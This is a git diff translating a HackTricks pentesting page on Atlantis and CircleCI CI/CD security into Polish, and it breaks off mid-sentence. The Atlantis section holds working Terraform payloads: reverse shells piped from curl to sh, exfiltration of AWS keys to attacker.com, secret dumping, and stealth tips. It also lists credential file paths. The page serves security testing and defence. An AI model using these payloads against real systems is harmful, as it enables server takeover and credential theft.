każdym projekcie przez plik `/atlantis.yml`**. **Scripts** -The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.** +Konfiguracja repozytorium może **określać skrypty** do uruchomienia [**przed**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) i [**po**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) wykonaniu **workflow**. -There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. +Nie ma żadnej opcji, aby **określić** te skrypty w **repo `/atlantis.yml`**. **Workflow** -In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\ -Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.** +W konfiguracji repozytorium (konfiguracja po stronie serwera) możesz [**określić nowy domyślny workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), lub [**utworzyć nowe niestandardowe workflow**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Możesz również **określić**, które **repozytoria** mogą **uzyskać dostęp** do **nowych** generowanych.\ +Następnie możesz pozwolić plikowi **atlantis.yaml** każdego repozytorium na **określenie workflow do użycia**. > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\ -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> Jeśli flaga [**konfiguracji po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określane** w **pliku `atlantis.yaml`** każdego repozytorium. Potencjalnie również potrzebne jest, aby **`allowed_overrides`** określało również **`workflow`**, aby **nadpisać workflow**, który ma być użyty.\ +> To zasadniczo da **RCE w serwerze Atlantis każdemu użytkownikowi, który może uzyskać dostęp do tego repozytorium**. > > ```yaml > # atlantis.yaml @@ -126,19 +126,18 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor **Conftest Policy Checking** -Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include: +Atlantis wspiera uruchamianie **polityk conftest** [**po stronie serwera**](https://www.conftest.dev/) przeciwko wyjściu planu. Typowe przypadki użycia dla tego kroku obejmują: -- Denying usage of a list of modules -- Asserting attributes of a resource at creation time -- Catching unintentional resource deletions -- Preventing security risks (ie. exposing secure ports to the public) +- Odrzucenie użycia listy modułów. +- Asercje atrybutów zasobu w czasie tworzenia. +- Wykrywanie niezamierzonych usunięć zasobów. +- Zapobieganie ryzyku bezpieczeństwa (np. wystawianie bezpiecznych portów publicznie). -You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). +Możesz sprawdzić, jak to skonfigurować w [**dokumentacji**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). ### Atlantis Commands -[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis: - +[**W dokumentacji**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) znajdziesz opcje, które możesz użyć do uruchomienia Atlantis: ```bash # Get help atlantis help @@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags] ## --verbose ## You can also add extra terraform options ``` - -### Attacks +### Ataki > [!WARNING] -> If during the exploitation you find this **error**: `Error: Error acquiring the state lock` - -You can fix it by running: +> Jeśli podczas eksploatacji napotkasz ten **błąd**: `Error: Error acquiring the state lock` +Możesz to naprawić, uruchamiając: ``` atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false ``` +#### Atlantis plan RCE - Modyfikacja konfiguracji w nowym PR -#### Atlantis plan RCE - Config modification in new PR - -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**. - -You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file: +Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł utworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis plan`** (lub może jest to wykonywane automatycznie) **będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**. +Możesz to zrobić, sprawiając, że [**Atlantis załaduje zewnętrzne źródło danych**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Po prostu umieść ładunek, taki jak poniższy, w pliku `main.tf`: ```json data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` +**Cichszy Atak** -**Stealthier Attack** - -You can perform this attack even in a **stealthier way**, by following this suggestions: - -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +Możesz przeprowadzić ten atak nawet w **cichszy sposób**, stosując się do tych sugestii: +- Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz **załadować zewnętrzny zasób**, który zawiera rev shell: ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` +Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) - -- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**. +- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś takiego jak: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- **Zamiast** tworzyć **PR do master**, aby uruchomić Atlantis, **stwórz 2 gałęzie** (test1 i test2) i stwórz **PR z jednej do drugiej**. Gdy zakończysz atak, po prostu **usuń PR i gałęzie**. #### Atlantis plan Secrets Dump -You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file: - +Możesz **zrzucić sekrety używane przez terraform**, uruchamiając `atlantis plan` (`terraform plan`), umieszczając coś takiego w pliku terraform: ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` +#### Atlantis apply RCE - Modyfikacja konfiguracji w nowym PR -#### Atlantis apply RCE - Config modification in new PR +Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis apply`, będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**. -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**. +Jednak zazwyczaj będziesz musiał obejść pewne zabezpieczenia: -However, you will usually need to bypass some protections: - -- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed). - - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) -- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply` - - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) - -Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: +- **Mergeable**: Jeśli to zabezpieczenie jest ustawione w Atlantis, możesz uruchomić **`atlantis apply` tylko wtedy, gdy PR jest możliwy do scalania** (co oznacza, że zabezpieczenie gałęzi musi zostać ominięte). +- Sprawdź potencjalne [**obejścia zabezpieczeń gałęzi**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) +- **Approved**: Jeśli to zabezpieczenie jest ustawione w Atlantis, **inny użytkownik musi zatwierdzić PR** zanim będziesz mógł uruchomić `atlantis apply` +- Domyślnie możesz nadużyć [**tokena Gitbota, aby obejść to zabezpieczenie**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) +Uruchamianie **`terraform apply` na złośliwym pliku Terraform z** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Musisz tylko upewnić się, że jakiś ładunek, taki jak poniższe, kończy się w pliku `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` +Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej dyskretny sposób**. -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**. - -#### Terraform Param Injection - -When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like: +#### Wstrzykiwanie parametrów Terraform +Podczas uruchamiania `atlantis plan` lub `atlantis apply`, terraform jest uruchamiany w tle, możesz przekazać polecenia do terraform z atlantis, komentując coś takiego: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` +Co możesz przekazać, to zmienne env, które mogą być pomocne w obejściu niektórych zabezpieczeń. Sprawdź zmienne env terraform w [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) -Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +#### Niestandardowy Workflow -#### Custom Workflow - -Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\ -This possibility was mentioned in a previous section: +Uruchamianie **złośliwych niestandardowych poleceń budowania** określonych w pliku `atlantis.yaml`. Atlantis używa pliku `atlantis.yaml` z gałęzi pull request, **a nie** z `master`.\ +Ta możliwość została wspomniana w poprzedniej sekcji: > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used. +> Jeśli flaga [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określone** w **`atlantis.yaml`** każdego repo. Potencjalnie potrzebne jest również, aby **`allowed_overrides`** określało również **`workflow`**, aby **nadpisać workflow**, który ma być użyty. > -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> To zasadniczo da **RCE na serwerze Atlantis dla każdego użytkownika, który ma dostęp do tego repo**. > > ```yaml > # atlantis.yaml @@ -286,99 +272,97 @@ This possibility was mentioned in a previous section: > - run: my custom apply command > ``` -#### Bypass plan/apply protections - -If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**. +#### Obejście zabezpieczeń planu/aplikacji +Jeśli flaga [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _ma_ skonfigurowane `apply_requirements`, możliwe jest, aby repo **zmodyfikowało zabezpieczenia planu/aplikacji, aby je obejść**. ```yaml repos: - - id: /.*/ - apply_requirements: [] +- id: /.*/ +apply_requirements: [] ``` - #### PR Hijacking -If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to. +Jeśli ktoś wyśle **`atlantis plan/apply` komentarze do twoich ważnych pull requestów,** spowoduje to uruchomienie terraform, gdy nie chcesz. -Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE. +Co więcej, jeśli nie masz skonfigurowanej **ochrony gałęzi** do ponownej **oceny** każdego PR, gdy **nowe zatwierdzenie jest do niego dodawane**, ktoś mógłby **napisać złośliwe konfiguracje** (sprawdź wcześniejsze scenariusze) w konfiguracji terraform, uruchomić `atlantis plan/apply` i uzyskać RCE. -This is the **setting** in Github branch protections: +To jest **ustawienie** w ochronach gałęzi Github: ![](<../images/image (216).png>) #### Webhook Secret -If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly. +Jeśli uda ci się **ukraść sekret webhooka** używanego lub jeśli **nie ma żadnego sekretu webhooka** używanego, możesz **wywołać webhook Atlantis** i **wywołać komendy atlantis** bezpośrednio. #### Bitbucket -Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs. +Bitbucket Cloud **nie obsługuje sekretów webhooka**. Może to pozwolić atakującym na **fałszowanie żądań z Bitbucket**. Upewnij się, że zezwalasz tylko na adresy IP Bitbucket. -- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket. -- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos. -- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses). +- Oznacza to, że **atakujący** mógłby wysyłać **fałszywe żądania do Atlantis**, które wyglądają, jakby pochodziły z Bitbucket. +- Jeśli określasz `--repo-allowlist`, to mogliby fałszować tylko żądania dotyczące tych repozytoriów, więc największe szkody, jakie mogliby wyrządzić, to plan/apply na twoich własnych repozytoriach. +- Aby temu zapobiec, dodaj do listy dozwolonych [adresy IP Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (zobacz adresy IPv4 wychodzące). ### Post-Exploitation -If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read: +Jeśli udało ci się uzyskać dostęp do serwera lub przynajmniej masz LFI, są pewne interesujące rzeczy, które powinieneś spróbować przeczytać: -- `/home/atlantis/.git-credentials` Contains vcs access credentials -- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info -- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stated file - - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate -- `/proc/1/environ` Env variables -- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data) +- `/home/atlantis/.git-credentials` Zawiera dane uwierzytelniające do vcs +- `/atlantis-data/atlantis.db` Zawiera dane uwierzytelniające do vcs z dodatkowymi informacjami +- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Plik stanu terraform +- Przykład: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate +- `/proc/1/environ` Zmienne środowiskowe +- `/proc/[2-20]/cmdline` Linia poleceń `atlantis server` (może zawierać dane wrażliwe) ### Mitigations #### Don't Use On Public Repos -Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. +Ponieważ każdy może komentować publiczne pull requesty, nawet przy wszystkich dostępnych zabezpieczeniach, nadal jest niebezpiecznie uruchamiać Atlantis na publicznych repozytoriach bez odpowiedniej konfiguracji ustawień zabezpieczeń. #### Don't Use `--allow-fork-prs` -If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo. +Jeśli działasz na publicznym repozytorium (co nie jest zalecane, patrz powyżej), nie powinieneś ustawiać `--allow-fork-prs` (domyślnie false), ponieważ każdy może otworzyć pull request z ich forka do twojego repozytorium. #### `--repo-allowlist` -Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example: +Atlantis wymaga, abyś określił listę dozwolonych repozytoriów, z których zaakceptuje webhooki za pomocą flagi `--repo-allowlist`. Na przykład: -- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` -- Your whole organization: `--repo-allowlist=github.com/runatlantis/*` -- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*` -- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret. +- Konkretne repozytoria: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` +- Cała twoja organizacja: `--repo-allowlist=github.com/runatlantis/*` +- Każde repozytorium w twojej instalacji GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*` +- Wszystkie repozytoria: `--repo-allowlist=*`. Przydatne, gdy jesteś w chronionej sieci, ale niebezpieczne bez ustawienia sekretu webhooka. -This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details. +Ta flaga zapewnia, że twoja instalacja Atlantis nie jest używana z repozytoriami, którymi nie zarządzasz. Zobacz `atlantis server --help` po więcej szczegółów. #### Protect Terraform Planning -If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials. +Jeśli atakujący składają pull requesty z złośliwym kodem Terraform w twoim modelu zagrożeń, musisz być świadomy, że zatwierdzenia `terraform apply` nie są wystarczające. Możliwe jest uruchomienie złośliwego kodu w `terraform plan` za pomocą [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) lub przez określenie złośliwego dostawcy. Ten kod mógłby następnie wykradać twoje dane uwierzytelniające. -To prevent this, you could: +Aby temu zapobiec, możesz: -1. Bake providers into the Atlantis image or host and deny egress in production. -2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry. -3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here. +1. Wbudować dostawców w obraz Atlantis lub hostować i odmówić egress w produkcji. +2. Wdrożyć protokół rejestru dostawców wewnętrznie i odmówić publicznego egress, w ten sposób kontrolujesz, kto ma dostęp do zapisu w rejestrze. +3. Zmodyfikować krok `plan` w swojej [konfiguracji repozytoriów po stronie serwera](https://www.runatlantis.io/docs/server-side-repo-config.html), aby walidować użycie niedozwolonych dostawców lub źródeł danych lub PR-ów od niedozwolonych użytkowników. Możesz również dodać dodatkową walidację w tym momencie, np. wymagając "thumbs-up" na PR przed pozwoleniem na kontynuację `plan`. Conftest może być tutaj przydatny. #### Webhook Secrets -Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). +Atlantis powinien być uruchamiany z ustawionymi sekretami webhooka za pomocą zmiennych środowiskowych `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Nawet z ustawioną flagą `--repo-allowlist`, bez sekretu webhooka, atakujący mogliby wysyłać żądania do Atlantis, podszywając się pod repozytorium, które jest na liście dozwolonych. Sekrety webhooka zapewniają, że żądania webhooka faktycznie pochodzą od twojego dostawcy VCS (GitHub lub GitLab). -If you are using Azure DevOps, instead of webhook secrets add a basic username and password. +Jeśli używasz Azure DevOps, zamiast sekretów webhooka dodaj podstawowy login i hasło. #### Azure DevOps Basic Authentication -Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. +Azure DevOps obsługuje wysyłanie nagłówka podstawowej autoryzacji we wszystkich zdarzeniach webhooka. Wymaga to użycia adresu URL HTTPS dla lokalizacji webhooka. #### SSL/HTTPS -If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags. +Jeśli używasz sekretów webhooka, ale twój ruch jest przez HTTP, to sekrety webhooka mogą zostać skradzione. Włącz SSL/HTTPS, używając flag `--ssl-cert-file` i `--ssl-key-file`. #### Enable Authentication on Atlantis Web Server -It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags. +Zdecydowanie zaleca się włączenie autoryzacji w usłudze internetowej. Włącz BasicAuth, używając `--web-basic-auth=true` i skonfiguruj nazwę użytkownika oraz hasło, używając flag `--web-username=yourUsername` i `--web-password=yourPassword`. -You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`. +Możesz również przekazać je jako zmienne środowiskowe `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` i `ATLANTIS_WEB_PASSWORD=yourPassword`. ### References @@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index 8b8a1fea1..bb794c2b9 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -2,258 +2,234 @@ {{#include ../banners/hacktricks-training.md}} -### Basic Information +### Podstawowe informacje -[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example. +[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) to platforma Continuous Integration, na której możesz **definiować szablony** wskazujące, co chcesz, aby zrobiła z kodem i kiedy to zrobić. W ten sposób możesz **automatyzować testy** lub **wdrożenia** bezpośrednio **z głównej gałęzi repozytorium** na przykład. -### Permissions +### Uprawnienia -**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\ -In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...). +**CircleCI** **dziedziczy uprawnienia** z github i bitbucket związane z **kontem**, które się loguje.\ +W moich testach sprawdziłem, że tak długo, jak masz **uprawnienia do zapisu w repozytorium na githubie**, będziesz mógł **zarządzać ustawieniami projektu w CircleCI** (ustawiać nowe klucze ssh, uzyskiwać klucze api projektu, tworzyć nowe gałęzie z nowymi konfiguracjami CircleCI...). -However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**. +Jednak musisz być **administratorem repozytorium**, aby **przekształcić repozytorium w projekt CircleCI**. -### Env Variables & Secrets +### Zmienne środowiskowe i sekrety -According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow. +Zgodnie z [**dokumentacją**](https://circleci.com/docs/2.0/env-vars/) istnieją różne sposoby **ładowania wartości do zmiennych środowiskowych** w ramach workflow. -#### Built-in env variables +#### Wbudowane zmienne środowiskowe -Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`. +Każdy kontener uruchamiany przez CircleCI zawsze będzie miał [**specyficzne zmienne środowiskowe zdefiniowane w dokumentacji**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) takie jak `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` lub `CIRCLE_USERNAME`. -#### Clear text - -You can declare them in clear text inside a **command**: +#### Tekst jawny +Możesz je zadeklarować w formie jawnej wewnątrz **komendy**: ```yaml - run: - name: "set and echo" - command: | - SECRET="A secret" - echo $SECRET +name: "set and echo" +command: | +SECRET="A secret" +echo $SECRET ``` - -You can declare them in clear text inside the **run environment**: - +Możesz zadeklarować je w czystym tekście wewnątrz **środowiska uruchomieniowego**: ```yaml - run: - name: "set and echo" - command: echo $SECRET - environment: - SECRET: A secret +name: "set and echo" +command: echo $SECRET +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **build-job environment**: - +Możesz zadeklarować je w czystym tekście wewnątrz **build-job environment**: ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **environment of a container**: - +Możesz je zadeklarować w czystym tekście wewnątrz **środowiska kontenera**: ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` +#### Sekrety projektu -#### Project Secrets - -These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\ -You can see them **declared in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ +To są **sekrety**, które będą **dostępne** tylko dla **projektu** (dla **każdej gałęzi**).\ +Możesz je zobaczyć **zadeklarowane w** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ ![](<../images/image (129).png>) -> [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. +> [!OSTRZEŻENIE] +> Funkcjonalność "**Import Variables**" pozwala na **importowanie zmiennych z innych projektów** do tego. -#### Context Secrets +#### Sekrety kontekstu -These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here: +To są sekrety, które są **ogólnodostępne w organizacji**. Domyślnie **każde repo** będzie mogło **uzyskać dostęp do każdego sekretu** przechowywanego tutaj: ![](<../images/image (123).png>) -> [!TIP] -> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\ -> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people. +> [!WSKAZÓWKA] +> Należy jednak zauważyć, że można **wybrać inną grupę** (zamiast wszystkich członków), aby **przyznać dostęp do sekretów tylko wybranym osobom**.\ +> To jest obecnie jeden z najlepszych sposobów na **zwiększenie bezpieczeństwa sekretów**, aby nie pozwalać wszystkim na ich dostęp, ale tylko niektórym osobom. -### Attacks +### Ataki -#### Search Clear Text Secrets +#### Wyszukiwanie sekretów w czystym tekście -If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there. +Jeśli masz **dostęp do VCS** (takiego jak github), sprawdź plik `.circleci/config.yml` w **każdym repo na każdej gałęzi** i **wyszukaj** potencjalne **sekrety w czystym tekście** przechowywane tam. -#### Secret Env Vars & Context enumeration +#### Wyliczanie zmiennych środowiskowych sekretów i kontekstu -Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\/contexts_. +Sprawdzając kod, możesz znaleźć **wszystkie nazwy sekretów**, które są **używane** w każdym pliku `.circleci/config.yml`. Możesz również uzyskać **nazwy kontekstów** z tych plików lub sprawdzić je w konsoli internetowej: _https://app.circleci.com/settings/organization/github/\/contexts_. -#### Exfiltrate Project secrets +#### Ekstrakcja sekretów projektu -> [!WARNING] -> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_). +> [!OSTRZEŻENIE] +> Aby **ekstrahować WSZYSTKIE** sekrety projektu i kontekstu, **wystarczy** mieć **dostęp DO ZAPISU** do **tylko 1 repo** w całej organizacji github (_a twoje konto musi mieć dostęp do kontekstów, ale domyślnie każdy może uzyskać dostęp do każdego kontekstu_). -> [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**. - -All the project secrets always are set in the env of the jobs, so just calling env 